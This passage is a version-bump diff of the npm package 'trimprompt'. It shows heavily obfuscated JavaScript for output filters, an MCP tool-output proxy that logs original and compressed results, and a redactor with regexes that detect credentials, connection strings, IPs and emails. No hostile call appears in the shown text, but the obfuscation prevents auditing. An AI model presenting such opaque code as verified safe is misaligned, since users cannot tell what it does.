_0x3e59ee[_0x4ffde7(0xc2)]>0x0&&(_0x3e59ee[_0x4ffde7(0xc2)]<=0xf?_0x3c13a7['push'](..._0x3e59ee):(_0x3c13a7[_0x4ffde7(0xad)](..._0x3e59ee[_0x4ffde7(0xc6)](0x0,0xa)),_0x3c13a7[_0x4ffde7(0xad)](_0x4ffde7(0xbd)+(_0x3e59ee[_0x4ffde7(0xc2)]-0xa)+_0x4ffde7(0xab)))),_0x2feea9['length']>0x0&&(_0x2feea9['length']<=0x14?_0x3c13a7[_0x4ffde7(0xad)](..._0x2feea9):(_0x3c13a7[_0x4ffde7(0xad)](..._0x2feea9[_0x4ffde7(0xc6)](0x0,0xf)),_0x3c13a7[_0x4ffde7(0xad)](_0x4ffde7(0xbd)+(_0x2feea9[_0x4ffde7(0xc2)]-0xf)+'\x20more\x20files'))),_0x3c13a7['push']('\x0a('+_0x3e59ee[_0x4ffde7(0xc2)]+_0x4ffde7(0xb1)+_0x2feea9[_0x4ffde7(0xc2)]+_0x4ffde7(0xaf)),_0x3c13a7[_0x4ffde7(0xc0)]('\x0a');}function filterTree(_0x2fc3ce){const _0x57fe74=a0_0x3f1de9,_0x5ef4e7=_0x2fc3ce['split']('\x0a');if(_0x5ef4e7[_0x57fe74(0xc2)]<=0x32)return _0x2fc3ce[_0x57fe74(0xbc)]();const _0x5aca8a=[];let _0x448cbc=0x0,_0x4ef149=0x0,_0x50a84d=0x0;for(const _0x4ad28a of _0x5ef4e7){const _0x128317=_0x4ad28a[_0x57fe74(0xc4)](/(\d+)\s+director/),_0x5ad68a=_0x4ad28a['match'](/(\d+)\s+file/);if(_0x128317)_0x50a84d=parseInt(_0x128317[0x1]);if(_0x5ad68a)_0x4ef149=parseInt(_0x5ad68a[0x1]);const _0x5d1581=(_0x4ad28a[_0x57fe74(0xc4)](/^[│├└\s─]+/)||[''])[0x0][_0x57fe74(0xc2)];_0x5d1581<=0x4&&(_0x5aca8a[_0x57fe74(0xad)](_0x4ad28a),_0x448cbc++);}return _0x5ef4e7[_0x57fe74(0xc2)]>_0x5aca8a[_0x57fe74(0xc2)]&&_0x5aca8a[_0x57fe74(0xad)](_0x57fe74(0xbf)+_0x50a84d+_0x57fe74(0xb1)+_0x4ef149+_0x57fe74(0xb4)),_0x5aca8a[_0x57fe74(0xc0)]('\x0a');}function filterCat(_0x278e0c){const _0x55cb91=a0_0x3f1de9,_0x59b4b8=_0x278e0c['split']('\x0a');if(_0x59b4b8[_0x55cb91(0xc2)]<=0x64)return _0x278e0c;const _0x361e06=[];return _0x361e06[_0x55cb91(0xad)](..._0x59b4b8[_0x55cb91(0xc6)](0x0,0x32)),_0x361e06[_0x55cb91(0xad)](_0x55cb91(0xb0)+(_0x59b4b8[_0x55cb91(0xc2)]-0x50)+_0x55cb91(0xa7)),_0x361e06[_0x55cb91(0xad)](..._0x59b4b8[_0x55cb91(0xc6)](-0x1e)),_0x361e06[_0x55cb91(0xad)]('\x0a('+_0x59b4b8[_0x55cb91(0xc2)]+'\x20lines\x20total)'),_0x361e06[_0x55cb91(0xc0)]('\x0a');}function filterGrep(_0x43270d){const _0x453b0a=a0_0x3f1de9,_0x3b8f96=_0x43270d['split']('\x0a')[_0x453b0a(0xb7)](_0x190002=>_0x190002['trim']()['length']>0x0);if(_0x3b8f96[_0x453b0a(0xc2)]===0x0)return _0x453b0a(0xbb);if(_0x3b8f96['length']<=0x32)return _0x43270d[_0x453b0a(0xbc)]();const _0x5254d7={},_0x2d375d=[];for(const _0x12f6f4 of _0x3b8f96){const _0x2ebaae=_0x12f6f4[_0x453b0a(0xac)](':');if(_0x2ebaae>0x0&&_0x2ebaae<0xc8){const _0x1399a8=_0x12f6f4[_0x453b0a(0xb3)](0x0,_0x2ebaae);if(_0x1399a8[_0x453b0a(0xb2)]('/')||_0x1399a8[_0x453b0a(0xb2)]('\x5c')||_0x1399a8['includes']('.')){if(!_0x5254d7[_0x1399a8])_0x5254d7[_0x1399a8]=[];_0x5254d7[_0x1399a8][_0x453b0a(0xad)](_0x12f6f4['substring'](_0x2ebaae+0x1)[_0x453b0a(0xbc)]());continue;}}_0x2d375d[_0x453b0a(0xad)](_0x12f6f4);}const _0x40ea13=[],_0x4a7ef9=Object[_0x453b0a(0xc3)](_0x5254d7);if(_0x4a7ef9['length']>0x0){const _0x152fdd=0x14,_0x367cf6=_0x4a7ef9['slice'](0x0,_0x152fdd);for(const _0x25df03 of _0x367cf6){const _0xbcddb5=_0x5254d7[_0x25df03];if(_0xbcddb5[_0x453b0a(0xc2)]<=0x3)for(const _0x120df2 of _0xbcddb5){_0x40ea13[_0x453b0a(0xad)](_0x25df03+':\x20'+_0x120df2);}else _0x40ea13[_0x453b0a(0xad)](_0x25df03+':\x20'+_0xbcddb5[0x0]),_0x40ea13[_0x453b0a(0xad)](_0x25df03+':\x20...\x20('+_0xbcddb5[_0x453b0a(0xc2)]+_0x453b0a(0xae));}_0x4a7ef9[_0x453b0a(0xc2)]>_0x152fdd&&_0x40ea13[_0x453b0a(0xad)]('...\x20+'+(_0x4a7ef9['length']-_0x152fdd)+_0x453b0a(0xa6));}if(_0x2d375d[_0x453b0a(0xc2)]>0x0){const _0x19c0cb=0x1e;_0x40ea13[_0x453b0a(0xad)](..._0x2d375d[_0x453b0a(0xc6)](0x0,_0x19c0cb)),_0x2d375d[_0x453b0a(0xc2)]>_0x19c0cb&&_0x40ea13[_0x453b0a(0xad)](_0x453b0a(0xbd)+(_0x2d375d['length']-_0x19c0cb)+'\x20more\x20matches');}const _0x4aab5c=_0x3b8f96[_0x453b0a(0xc2)];return _0x40ea13[_0x453b0a(0xad)]('\x0a('+_0x4aab5c+_0x453b0a(0xbe)+(_0x4a7ef9[_0x453b0a(0xc2)]||'?')+'\x20files)'),_0x40ea13[_0x453b0a(0xc0)]('\x0a');}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x2dee27=a0_0x5a8b;(function(_0x47c9b7,_0x5148ac){const _0x2de401=a0_0x5a8b,_0x4cadb6=_0x47c9b7();while(!![]){try{const _0x1ac478=-parseInt(_0x2de401(0x1a3))/0x1*(-parseInt(_0x2de401(0x19b))/0x2)+-parseInt(_0x2de401(0x18f))/0x3*(-parseInt(_0x2de401(0x190))/0x4)+-parseInt(_0x2de401(0x18b))/0x5+parseInt(_0x2de401(0x192))/0x6+-parseInt(_0x2de401(0x1ab))/0x7*(parseInt(_0x2de401(0x189))/0x8)+parseInt(_0x2de401(0x19e))/0x9*(parseInt(_0x2de401(0x1ad))/0xa)+-parseInt(_0x2de401(0x180))/0xb;if(_0x1ac478===_0x5148ac)break;else _0x4cadb6['push'](_0x4cadb6['shift']());}catch(_0x21093a){_0x4cadb6['push'](_0x4cadb6['shift']());}}}(a0_0x9076,0xe91f0));function a0_0x5a8b(_0x13bec1,_0x51b430){const _0x9076ad=a0_0x9076();return a0_0x5a8b=function(_0x5a8b97,_0x31e543){_0x5a8b97=_0x5a8b97-0x17a;let _0x3bf922=_0x9076ad[_0x5a8b97];return _0x3bf922;},a0_0x5a8b(_0x13bec1,_0x51b430);}var __createBinding=this&&this[a0_0x2dee27(0x188)]||(Object[a0_0x2dee27(0x195)]?function(_0x489068,_0xab2bb6,_0x4cc526,_0x238475){const _0x2f7fd2=a0_0x2dee27;if(_0x238475===undefined)_0x238475=_0x4cc526;var _0x1a4ca4=Object['getOwnPropertyDescriptor'](_0xab2bb6,_0x4cc526);(!_0x1a4ca4||(_0x2f7fd2(0x19a)in _0x1a4ca4?!_0xab2bb6[_0x2f7fd2(0x198)]:_0x1a4ca4[_0x2f7fd2(0x1a9)]||_0x1a4ca4[_0x2f7fd2(0x17c)]))&&(_0x1a4ca4={'enumerable':!![],'get':function(){return _0xab2bb6[_0x4cc526];}}),Object[_0x2f7fd2(0x1a1)](_0x489068,_0x238475,_0x1a4ca4);}:function(_0x3e5e8d,_0x4ba5b1,_0xfc2814,_0x351553){if(_0x351553===undefined)_0x351553=_0xfc2814;_0x3e5e8d[_0x351553]=_0x4ba5b1[_0xfc2814];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x3feee6,_0x586463){const _0x55aeca=a0_0x2dee27;Object[_0x55aeca(0x1a1)](_0x3feee6,'default',{'enumerable':!![],'value':_0x586463});}:function(_0xc5383d,_0x142208){const _0x4ff3fc=a0_0x2dee27;_0xc5383d[_0x4ff3fc(0x1aa)]=_0x142208;}),__importStar=this&&this[a0_0x2dee27(0x184)]||(function(){var _0x198985=function(_0x1ab2d3){const _0x25036c=a0_0x5a8b;return _0x198985=Object[_0x25036c(0x1ac)]||function(_0x72c4f0){const _0x149407=_0x25036c;var _0x38513a=[];for(var _0x4cb739 in _0x72c4f0)if(Object[_0x149407(0x1a6)]['hasOwnProperty'][_0x149407(0x1a8)](_0x72c4f0,_0x4cb739))_0x38513a[_0x38513a[_0x149407(0x18a)]]=_0x4cb739;return _0x38513a;},_0x198985(_0x1ab2d3);};return function(_0x12fdb8){const _0x24ae99=a0_0x5a8b;if(_0x12fdb8&&_0x12fdb8[_0x24ae99(0x198)])return _0x12fdb8;var _0x4b88d3={};if(_0x12fdb8!=null){for(var _0x546253=_0x198985(_0x12fdb8),_0x2a26f4=0x0;_0x2a26f4<_0x546253[_0x24ae99(0x18a)];_0x2a26f4++)if(_0x546253[_0x2a26f4]!==_0x24ae99(0x1aa))__createBinding(_0x4b88d3,_0x12fdb8,_0x546253[_0x2a26f4]);}return __setModuleDefault(_0x4b88d3,_0x12fdb8),_0x4b88d3;};}());Object[a0_0x2dee27(0x1a1)](exports,'__esModule',{'value':!![]}),exports[a0_0x2dee27(0x17e)]=runMcpProxy;const child_process_1=require('child_process'),readline=__importStar(require('readline')),filters_1=require(a0_0x2dee27(0x1af)),tracker_1=require(a0_0x2dee27(0x18d));function a0_0x9076(){const _0x3f6275=['runMcpProxy','isArray','203291CTqLDK','tracker','line','mcp-tool-call','__importStar','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','stdout','text','__createBinding','24krpqzM','length','7752660acZWlp','type','./tracker','result','3iyvFyI','2584004GtdnXt','jsonrpc','1125864PEJzaX','pipe','inherit','create','content','message','__esModule','error','get','539018PBwNXV','string','logExecution','45OMfZqi','close','mcp\x20tool\x20(id:\x20','defineProperty','exit','3tCnWzc','redaction_enabled','spawn','prototype','createInterface','call','writable','default','1300985fQRPob','getOwnPropertyNames','2878540AUkIsP','parse','./filters','stdin','trim','stringify','write','configurable','getConfig'];a0_0x9076=function(){return _0x3f6275;};return a0_0x9076();}function runMcpProxy(_0x93122b,_0x5efb05){const _0x4b54c8=a0_0x2dee27,_0x560872=(0x0,child_process_1[_0x4b54c8(0x1a5)])(_0x93122b,_0x5efb05,{'stdio':[_0x4b54c8(0x193),_0x4b54c8(0x193),_0x4b54c8(0x194)]});process[_0x4b54c8(0x1b0)][_0x4b54c8(0x193)](_0x560872[_0x4b54c8(0x1b0)]);const _0x3637be=readline[_0x4b54c8(0x1a7)]({'input':_0x560872['stdout'],'terminal':![]});_0x3637be['on'](_0x4b54c8(0x182),_0x2170b9=>{const _0x10de2a=_0x4b54c8;try{const _0xb9077b=JSON[_0x10de2a(0x1ae)](_0x2170b9);if(_0xb9077b&&_0xb9077b[_0x10de2a(0x191)]==='2.0'&&_0xb9077b['id']!==undefined&&_0xb9077b[_0x10de2a(0x18e)]&&Array[_0x10de2a(0x17f)](_0xb9077b[_0x10de2a(0x18e)][_0x10de2a(0x196)])){let _0x2686f1=![];for(const _0x135b89 of _0xb9077b[_0x10de2a(0x18e)][_0x10de2a(0x196)]){if(_0x135b89[_0x10de2a(0x18c)]===_0x10de2a(0x187)&&typeof _0x135b89[_0x10de2a(0x187)]===_0x10de2a(0x19c)&&_0x135b89[_0x10de2a(0x187)][_0x10de2a(0x1b1)]()[_0x10de2a(0x18a)]>0x0){const _0x37a270=_0x135b89[_0x10de2a(0x187)],_0x390107=(0x0,filters_1['compressOutput'])(_0x10de2a(0x183),_0x37a270,'',tracker_1['tracker'][_0x10de2a(0x17d)]()[_0x10de2a(0x1a4)]);tracker_1[_0x10de2a(0x181)][_0x10de2a(0x19d)](_0x10de2a(0x1a0)+_0xb9077b['id']+')',_0x37a270,_0x390107,0x0),_0x135b89[_0x10de2a(0x187)]=_0x390107,_0x2686f1=!![];}}_0x2686f1?process[_0x10de2a(0x186)][_0x10de2a(0x17b)](JSON[_0x10de2a(0x17a)](_0xb9077b)+'\x0a'):process[_0x10de2a(0x186)][_0x10de2a(0x17b)](_0x2170b9+'\x0a');}else process[_0x10de2a(0x186)][_0x10de2a(0x17b)](_0x2170b9+'\x0a');}catch{process[_0x10de2a(0x186)]['write'](_0x2170b9+'\x0a');}}),_0x560872['on'](_0x4b54c8(0x19f),_0x5371be=>{const _0x138a9b=_0x4b54c8;process[_0x138a9b(0x1a2)](_0x5371be||0x0);}),_0x560872['on'](_0x4b54c8(0x199),_0x4ff13d=>{const _0x1d90b5=_0x4b54c8;console[_0x1d90b5(0x199)](_0x1d90b5(0x185)+_0x4ff13d[_0x1d90b5(0x197)]),process[_0x1d90b5(0x1a2)](0x1);});}
1
+ 'use strict';const a0_0x2a28fd=a0_0x286c;(function(_0x2bf889,_0x206a9d){const _0xb8d36=a0_0x286c,_0x1d824=_0x2bf889();while(!![]){try{const _0x2a39f5=parseInt(_0xb8d36(0x1c1))/0x1*(parseInt(_0xb8d36(0x18f))/0x2)+-parseInt(_0xb8d36(0x196))/0x3*(parseInt(_0xb8d36(0x194))/0x4)+-parseInt(_0xb8d36(0x1a7))/0x5+-parseInt(_0xb8d36(0x1b7))/0x6*(-parseInt(_0xb8d36(0x1af))/0x7)+-parseInt(_0xb8d36(0x1bc))/0x8*(parseInt(_0xb8d36(0x1a3))/0x9)+parseInt(_0xb8d36(0x1c5))/0xa*(parseInt(_0xb8d36(0x197))/0xb)+parseInt(_0xb8d36(0x191))/0xc*(parseInt(_0xb8d36(0x1ad))/0xd);if(_0x2a39f5===_0x206a9d)break;else _0x1d824['push'](_0x1d824['shift']());}catch(_0xe1b68a){_0x1d824['push'](_0x1d824['shift']());}}}(a0_0x2d11,0x4a0fa));var __createBinding=this&&this[a0_0x2a28fd(0x1b6)]||(Object[a0_0x2a28fd(0x1c6)]?function(_0x34916a,_0x4cd17d,_0xfe2a9c,_0x4b6b65){const _0x1443c4=a0_0x2a28fd;if(_0x4b6b65===undefined)_0x4b6b65=_0xfe2a9c;var _0x314936=Object['getOwnPropertyDescriptor'](_0x4cd17d,_0xfe2a9c);(!_0x314936||(_0x1443c4(0x190)in _0x314936?!_0x4cd17d[_0x1443c4(0x1ba)]:_0x314936[_0x1443c4(0x1b1)]||_0x314936['configurable']))&&(_0x314936={'enumerable':!![],'get':function(){return _0x4cd17d[_0xfe2a9c];}}),Object[_0x1443c4(0x1a6)](_0x34916a,_0x4b6b65,_0x314936);}:function(_0x2165e8,_0x286d0f,_0x5733c4,_0x1332f4){if(_0x1332f4===undefined)_0x1332f4=_0x5733c4;_0x2165e8[_0x1332f4]=_0x286d0f[_0x5733c4];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x2a28fd(0x1c6)]?function(_0x25f978,_0x15f2ab){const _0x1a6da3=a0_0x2a28fd;Object[_0x1a6da3(0x1a6)](_0x25f978,_0x1a6da3(0x1bf),{'enumerable':!![],'value':_0x15f2ab});}:function(_0x5bc3c8,_0x5a4562){const _0x509c2c=a0_0x2a28fd;_0x5bc3c8[_0x509c2c(0x1bf)]=_0x5a4562;}),__importStar=this&&this[a0_0x2a28fd(0x1c2)]||(function(){var _0x462613=function(_0x3a7042){const _0x503b84=a0_0x286c;return _0x462613=Object[_0x503b84(0x1a5)]||function(_0x3f8b66){const _0x467fd5=_0x503b84;var _0x441363=[];for(var _0x5162f3 in _0x3f8b66)if(Object[_0x467fd5(0x19a)]['hasOwnProperty'][_0x467fd5(0x192)](_0x3f8b66,_0x5162f3))_0x441363[_0x441363[_0x467fd5(0x1bb)]]=_0x5162f3;return _0x441363;},_0x462613(_0x3a7042);};return function(_0x395237){const _0x1ad1eb=a0_0x286c;if(_0x395237&&_0x395237[_0x1ad1eb(0x1ba)])return _0x395237;var _0x40ed00={};if(_0x395237!=null){for(var _0x13d2c2=_0x462613(_0x395237),_0x4e3d2a=0x0;_0x4e3d2a<_0x13d2c2[_0x1ad1eb(0x1bb)];_0x4e3d2a++)if(_0x13d2c2[_0x4e3d2a]!==_0x1ad1eb(0x1bf))__createBinding(_0x40ed00,_0x395237,_0x13d2c2[_0x4e3d2a]);}return __setModuleDefault(_0x40ed00,_0x395237),_0x40ed00;};}());Object[a0_0x2a28fd(0x1a6)](exports,a0_0x2a28fd(0x1ba),{'value':!![]}),exports[a0_0x2a28fd(0x1b5)]=runMcpProxy;const child_process_1=require(a0_0x2a28fd(0x1bd)),readline=__importStar(require(a0_0x2a28fd(0x1a1))),filters_1=require(a0_0x2a28fd(0x1ae)),tracker_1=require(a0_0x2a28fd(0x1a8));function a0_0x286c(_0x58ae20,_0x320066){_0x58ae20=_0x58ae20-0x18f;const _0x2d11ec=a0_0x2d11();let _0x286c0d=_0x2d11ec[_0x58ae20];return _0x286c0d;}function runMcpProxy(_0x228a50,_0x4d2756){const _0x2b978e=a0_0x2a28fd,_0x25f815=(0x0,child_process_1[_0x2b978e(0x1aa)])(_0x228a50,_0x4d2756,{'stdio':[_0x2b978e(0x1b3),_0x2b978e(0x1b3),_0x2b978e(0x1b2)]});process[_0x2b978e(0x1c3)][_0x2b978e(0x1b3)](_0x25f815[_0x2b978e(0x1c3)]);const _0x1eef1c=readline[_0x2b978e(0x1c7)]({'input':_0x25f815['stdout'],'terminal':![]});_0x1eef1c['on'](_0x2b978e(0x19e),_0x1d00f2=>{const _0x112592=_0x2b978e;try{const _0x2180aa=JSON[_0x112592(0x1b8)](_0x1d00f2);if(_0x2180aa&&_0x2180aa[_0x112592(0x19c)]===_0x112592(0x19d)&&_0x2180aa['id']!==undefined&&_0x2180aa['result']&&Array['isArray'](_0x2180aa['result']['content'])){let _0x4b82d2=![];for(const _0x36c64c of _0x2180aa[_0x112592(0x1a9)][_0x112592(0x1b4)]){if(_0x36c64c[_0x112592(0x1c4)]===_0x112592(0x1ac)&&typeof _0x36c64c[_0x112592(0x1ac)]===_0x112592(0x1b0)&&_0x36c64c['text'][_0x112592(0x195)]()[_0x112592(0x1bb)]>0x0){const _0x37ac7e=_0x36c64c[_0x112592(0x1ac)],_0x3defb8=(0x0,filters_1['compressOutput'])(_0x112592(0x1b9),_0x37ac7e,'',tracker_1[_0x112592(0x1a4)][_0x112592(0x1a0)]()[_0x112592(0x199)]);tracker_1[_0x112592(0x1a4)][_0x112592(0x1c0)](_0x112592(0x193)+_0x2180aa['id']+')',_0x37ac7e,_0x3defb8,0x0),_0x36c64c[_0x112592(0x1ac)]=_0x3defb8,_0x4b82d2=!![];}}_0x4b82d2?process[_0x112592(0x19b)]['write'](JSON[_0x112592(0x198)](_0x2180aa)+'\x0a'):process[_0x112592(0x19b)]['write'](_0x1d00f2+'\x0a');}else process[_0x112592(0x19b)][_0x112592(0x1a2)](_0x1d00f2+'\x0a');}catch{process[_0x112592(0x19b)][_0x112592(0x1a2)](_0x1d00f2+'\x0a');}}),_0x25f815['on']('close',_0x232570=>{const _0x48d727=_0x2b978e;process[_0x48d727(0x1ab)](_0x232570||0x0);}),_0x25f815['on']('error',_0x1d699c=>{const _0x335514=_0x2b978e;console['error'](_0x335514(0x1be)+_0x1d699c[_0x335514(0x19f)]),process[_0x335514(0x1ab)](0x1);});}function a0_0x2d11(){const _0x5d0fc2=['mcp-tool-call','__esModule','length','8jmzgtG','child_process','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','default','logExecution','1kdHTGw','__importStar','stdin','type','10FCeqDH','create','createInterface','707530CMKFXr','get','5736iJUpBH','call','mcp\x20tool\x20(id:\x20','749236frfixt','trim','3pxNoHB','6472301psNnob','stringify','redaction_enabled','prototype','stdout','jsonrpc','2.0','line','message','getConfig','readline','write','5225679ZmqaXv','tracker','getOwnPropertyNames','defineProperty','2333115DdNrJC','./tracker','result','spawn','exit','text','13884IOmFaT','./filters','596799wSemGa','string','writable','inherit','pipe','content','runMcpProxy','__createBinding','6iqykbR','parse'];a0_0x2d11=function(){return _0x5d0fc2;};return a0_0x2d11();}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.8",
3
+ "version": "1.0.9",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1ed6e5=a0_0x5364;(function(_0x29f216,_0x59d75e){const _0x577fe4=a0_0x5364,_0x222c9d=_0x29f216();while(!![]){try{const _0x16be55=-parseInt(_0x577fe4(0x11b))/0x1+parseInt(_0x577fe4(0x12e))/0x2*(parseInt(_0x577fe4(0x12d))/0x3)+parseInt(_0x577fe4(0x11e))/0x4*(-parseInt(_0x577fe4(0x128))/0x5)+-parseInt(_0x577fe4(0x121))/0x6*(-parseInt(_0x577fe4(0x12f))/0x7)+-parseInt(_0x577fe4(0x12a))/0x8*(parseInt(_0x577fe4(0x11f))/0x9)+-parseInt(_0x577fe4(0x125))/0xa+parseInt(_0x577fe4(0x130))/0xb*(parseInt(_0x577fe4(0x12c))/0xc);if(_0x16be55===_0x59d75e)break;else _0x222c9d['push'](_0x222c9d['shift']());}catch(_0x2ef2b8){_0x222c9d['push'](_0x222c9d['shift']());}}}(a0_0x210b,0xbb9ca));Object[a0_0x1ed6e5(0x123)](exports,a0_0x1ed6e5(0x120),{'value':!![]}),exports['redactor']=exports[a0_0x1ed6e5(0x124)]=void 0x0;class Redactor{[a0_0x1ed6e5(0x11d)]=[];constructor(){this['loadDefaultRules']();}['loadDefaultRules'](){const _0x596b68=a0_0x1ed6e5;this[_0x596b68(0x11d)]=[{'name':_0x596b68(0x129),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x596b68(0x11c)},{'name':_0x596b68(0x131),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x596b68(0x127)},{'name':'IPv4\x20Address','regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]'},{'name':'Email\x20Address','regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x596b68(0x12b)}];}[a0_0x1ed6e5(0x132)](_0x2a24f8){const _0x3185b5=a0_0x1ed6e5;let _0x43cc59=_0x2a24f8;for(const _0x226871 of this[_0x3185b5(0x11d)]){_0x43cc59=_0x43cc59[_0x3185b5(0x122)](_0x226871[_0x3185b5(0x126)],_0x226871['replacement']);}return _0x43cc59;}}exports[a0_0x1ed6e5(0x124)]=Redactor,exports['redactor']=new Redactor();function a0_0x5364(_0x2e8353,_0x3f27cc){const _0x210bc1=a0_0x210b();return a0_0x5364=function(_0x5364e9,_0x5b72a6){_0x5364e9=_0x5364e9-0x11b;let _0x2d73db=_0x210bc1[_0x5364e9];return _0x2d73db;},a0_0x5364(_0x2e8353,_0x3f27cc);}function a0_0x210b(){const _0x40ab8f=['1001296DhqtDP','1737rtQWUK','__esModule','9474gOEYkY','replace','defineProperty','Redactor','3175580mAgTEy','regex','$1:\x20[REDACTED_CREDENTIAL]','15EoSqyH','Database\x20Connection\x20String','35320FsaVyb','[REDACTED_EMAIL]','172644lGOROD','3sjkWQA','357362LxoDfg','2653wdHQJw','1661qOaWIJ','API\x20Key\x20or\x20Password','redact','260476UMthlm','[REDACTED_DB_CONNECTION_STRING]','rules'];a0_0x210b=function(){return _0x40ab8f;};return a0_0x210b();}
1
+ 'use strict';const a0_0x20a9ef=a0_0x3b14;(function(_0x2895b8,_0x2886f2){const _0xd3a9fd=a0_0x3b14,_0x34b73c=_0x2895b8();while(!![]){try{const _0x5e736f=-parseInt(_0xd3a9fd(0x194))/0x1*(parseInt(_0xd3a9fd(0x195))/0x2)+parseInt(_0xd3a9fd(0x1a2))/0x3*(parseInt(_0xd3a9fd(0x18b))/0x4)+parseInt(_0xd3a9fd(0x193))/0x5*(parseInt(_0xd3a9fd(0x18d))/0x6)+-parseInt(_0xd3a9fd(0x198))/0x7*(-parseInt(_0xd3a9fd(0x18f))/0x8)+-parseInt(_0xd3a9fd(0x18a))/0x9*(-parseInt(_0xd3a9fd(0x190))/0xa)+parseInt(_0xd3a9fd(0x192))/0xb+-parseInt(_0xd3a9fd(0x19e))/0xc*(parseInt(_0xd3a9fd(0x199))/0xd);if(_0x5e736f===_0x2886f2)break;else _0x34b73c['push'](_0x34b73c['shift']());}catch(_0x3f47f9){_0x34b73c['push'](_0x34b73c['shift']());}}}(a0_0x49c9,0xa5704));Object[a0_0x20a9ef(0x19c)](exports,a0_0x20a9ef(0x191),{'value':!![]}),exports[a0_0x20a9ef(0x196)]=exports[a0_0x20a9ef(0x19d)]=void 0x0;class Redactor{[a0_0x20a9ef(0x18c)]=[];constructor(){const _0x511508=a0_0x20a9ef;this[_0x511508(0x197)]();}[a0_0x20a9ef(0x197)](){const _0x120f2a=a0_0x20a9ef;this[_0x120f2a(0x18c)]=[{'name':_0x120f2a(0x189),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x120f2a(0x19b)},{'name':_0x120f2a(0x19f),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':'$1:\x20[REDACTED_CREDENTIAL]'},{'name':'IPv4\x20Address','regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x120f2a(0x1a1)},{'name':'Email\x20Address','regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x120f2a(0x19a)}];}['redact'](_0x353046){const _0x396a74=a0_0x20a9ef;let _0x5d0f96=_0x353046;for(const _0x58d6e8 of this['rules']){_0x5d0f96=_0x5d0f96[_0x396a74(0x18e)](_0x58d6e8[_0x396a74(0x1a0)],_0x58d6e8['replacement']);}return _0x5d0f96;}}function a0_0x3b14(_0x51138f,_0xe53c3f){_0x51138f=_0x51138f-0x189;const _0x49c975=a0_0x49c9();let _0x3b14e7=_0x49c975[_0x51138f];return _0x3b14e7;}function a0_0x49c9(){const _0x5613ce=['[REDACTED_IP]','3cdOQgt','Database\x20Connection\x20String','18EJWEOh','4667948mFXHva','rules','2635254iAZoWm','replace','112SvCjHx','6111050aMupqO','__esModule','4811433wanlqw','15kzplgS','2051ogldbl','618zwjmWl','redactor','loadDefaultRules','365386khVNoq','1287DzLCVe','[REDACTED_EMAIL]','[REDACTED_DB_CONNECTION_STRING]','defineProperty','Redactor','431952NanVfl','API\x20Key\x20or\x20Password','regex'];a0_0x49c9=function(){return _0x5613ce;};return a0_0x49c9();}exports[a0_0x20a9ef(0x19d)]=Redactor,exports[a0_0x20a9ef(0x196)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x2bedc9=a0_0x5a7e;(function(_0xb16a09,_0x457e6c){const _0x5d30a0=a0_0x5a7e,_0x3216d6=_0xb16a09();while(!![]){try{const _0x12711f=parseInt(_0x5d30a0(0x92))/0x1+-parseInt(_0x5d30a0(0xa6))/0x2*(parseInt(_0x5d30a0(0xa0))/0x3)+parseInt(_0x5d30a0(0x91))/0x4+-parseInt(_0x5d30a0(0x98))/0x5*(-parseInt(_0x5d30a0(0xa2))/0x6)+-parseInt(_0x5d30a0(0x97))/0x7*(-parseInt(_0x5d30a0(0x82))/0x8)+-parseInt(_0x5d30a0(0x8f))/0x9*(parseInt(_0x5d30a0(0x86))/0xa)+parseInt(_0x5d30a0(0x96))/0xb*(-parseInt(_0x5d30a0(0x9d))/0xc);if(_0x12711f===_0x457e6c)break;else _0x3216d6['push'](_0x3216d6['shift']());}catch(_0x57c432){_0x3216d6['push'](_0x3216d6['shift']());}}}(a0_0x1c78,0xd5899));Object['defineProperty'](exports,a0_0x2bedc9(0x8e),{'value':!![]});function a0_0x5a7e(_0x1ae992,_0x39226c){const _0x1c78a2=a0_0x1c78();return a0_0x5a7e=function(_0x5a7e15,_0x1101e1){_0x5a7e15=_0x5a7e15-0x81;let _0x30a186=_0x1c78a2[_0x5a7e15];return _0x30a186;},a0_0x5a7e(_0x1ae992,_0x39226c);}const tracker_1=require(a0_0x2bedc9(0x90));function a0_0x1c78(){const 